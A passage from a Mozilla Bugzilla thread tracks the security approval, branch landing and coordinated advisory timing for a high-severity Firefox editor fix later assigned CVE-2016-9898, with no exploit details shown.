> IMEContentObserver doesn't end up modifying DOM, so at least this kind of
> crash shouldn't be possible there. But could you check if something should
> be fixed there and file a bug?

Yeah, IMEContentObserver is really sensitive for performance. I'll investigate it when I have much time to do that.
Flags: needinfo?(masayuki)

    
    

    
  
Sec-approval for checkin on 11/29, two weeks into the new cycle (not before). We'll want patches for affected branches made and nominated at that time as well.

          status-firefox-esr45:
          --- → affected

          tracking-firefox51:
          --- → +

          tracking-firefox52:
          --- → +

          tracking-firefox-esr45:
          --- → 51+
Whiteboard: [checkin on 11/29]

    
    

    
  
Comment on attachment 8807693 [details] [diff] [review]
nac_editors.diff

(Or we can use this patch since it is nominated for those but I'm not approving branches until after this lands on trunk on 11/29)

        Attachment #8807693 -
        Flags: sec-approval? → sec-approval+

        Attachment #8807693 -
        Flags: approval-mozilla-release?

    
    

    
  
https://hg.mozilla.org/mozilla-central/rev/f2631b49bb7d
Status: NEW → RESOLVED
Closed: 8 years ago

          status-firefox53:
          --- → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla53

    
    

    
  
Comment on attachment 8807693 [details] [diff] [review]
nac_editors.diff

Sec-high, approved for all branches

        Attachment #8807693 -
        Flags: approval-mozilla-release?

        Attachment #8807693 -
        Flags: approval-mozilla-release+

        Attachment #8807693 -
        Flags: approval-mozilla-esr45?

        Attachment #8807693 -
        Flags: approval-mozilla-esr45+

        Attachment #8807693 -
        Flags: approval-mozilla-beta?

        Attachment #8807693 -
        Flags: approval-mozilla-beta+

        Attachment #8807693 -
        Flags: approval-mozilla-aurora?

        Attachment #8807693 -
        Flags: approval-mozilla-aurora+

    
    

    
  
Would have helped if I'd pushed the right patch.

https://hg.mozilla.org/releases/mozilla-esr45/rev/5054047b7328

    
    

    
  
Tracking 53+ for this sec high issue.

          tracking-firefox53:
          ? → +

    
    

    
  
Can't write an advisory for 50.1 for this because then I'll 0day ESR45 users as it was checked into normal ESR45 branch.
Flags: needinfo?(abillings)

    
    

    
  
Ok. There is a 45.6 ESR release at the same time as 50.1. The advisory for this should be in the release.
Flags: needinfo?(abillings)
Whiteboard: [adv-main50.1+][adv-esr45.6+]
Alias: CVE-2016-9898
Group: dom-core-security → core-security-release
Group: core-security-release
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Depends on: 1361052
Regressions: 1547969
No longer regressions: 1547969

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: